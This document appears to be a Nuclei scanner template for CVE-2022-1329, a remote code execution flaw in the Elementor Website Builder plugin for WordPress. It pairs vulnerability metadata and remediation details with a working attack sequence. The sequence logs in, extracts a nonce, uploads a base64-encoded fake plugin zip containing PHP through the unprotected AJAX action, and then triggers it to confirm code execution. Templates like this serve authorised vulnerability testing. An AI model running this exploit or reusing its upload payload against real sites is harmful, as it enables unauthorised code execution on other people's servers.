id: CVE-2022-1329 info: name: Elementor Website Builder - Remote Code Execution author: theamanrawat severity: high description: | The Elementor Website Builder plugin for WordPress versions 3.6.0 to 3.6.2 are vulnerable to unauthorized execution of several AJAX actions due to a missing capability check in the ~/core/app/modules/onboarding/module.php file. This makes it possible for attackers to modify site data and upload malicious files which can be used to obtain remote code execution. reference: - https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/ - https://wordpress.org/plugins/elementor/ - https://plugins.trac.wordpress.org/changeset/2708766/elementor/trunk/core/app/modules/onboarding/module.php - https://nvd.nist.gov/vuln/detail/CVE-2022-1329 remediation: Fixed in version 3.6.3 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2022-1329 cwe-id: CWE-434,CWE-862 epss-score: 0.96563 cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:* metadata: max-request: 4 verified: true framework: wordpress vendor: elementor product: website_builder tags: cve,cve2022,rce,wordpress,wp-plugin,wp,elementor,authenticated,intrusive,fileupload http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/ HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=336b29d7aee0463d8b651303eab505ea --336b29d7aee0463d8b651303eab505ea Content-Disposition: form-data; name="action" elementor_upload_and_install_pro --336b29d7aee0463d8b651303eab505ea Content-Disposition: form-data; name="_nonce" {{nonce}} --336b29d7aee0463d8b651303eab505ea Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.zip" {{base64_decode("UEsDBBQAAAAAAPEiZ1YAAAAAAAAAAAAAAAAOACAAZWxlbWVudG9yLXByby9VVA0AB8csB2TILAdkxywHZHV4CwABBOgDAAAE6AMAAFBLAwQUAAgACAB8KGd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AhQDFAAIAAgAfChnVn5L6n9mAgAAOgQAAB8AIAAAAAAAAAAAALSBTAAAAGVsZW1lbnRvci1wcm8vZWxlbWVudG9yLXByby5waHBVVA0ABzw2B2Q9NgdkPDYHZHV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAgACAMkAAAAfAwAAAAA=")}} --336b29d7aee0463d8b651303eab505ea-- - | GET /index.php?activate=1 HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body_4 words: - '5f9bc5edd71c78284dabe630df8cd71d' extractors: - type: regex name: nonce group: 1 regex: - 'admin-ajax.php","nonce":"([0-9a-zA-Z]+)"}' internal: true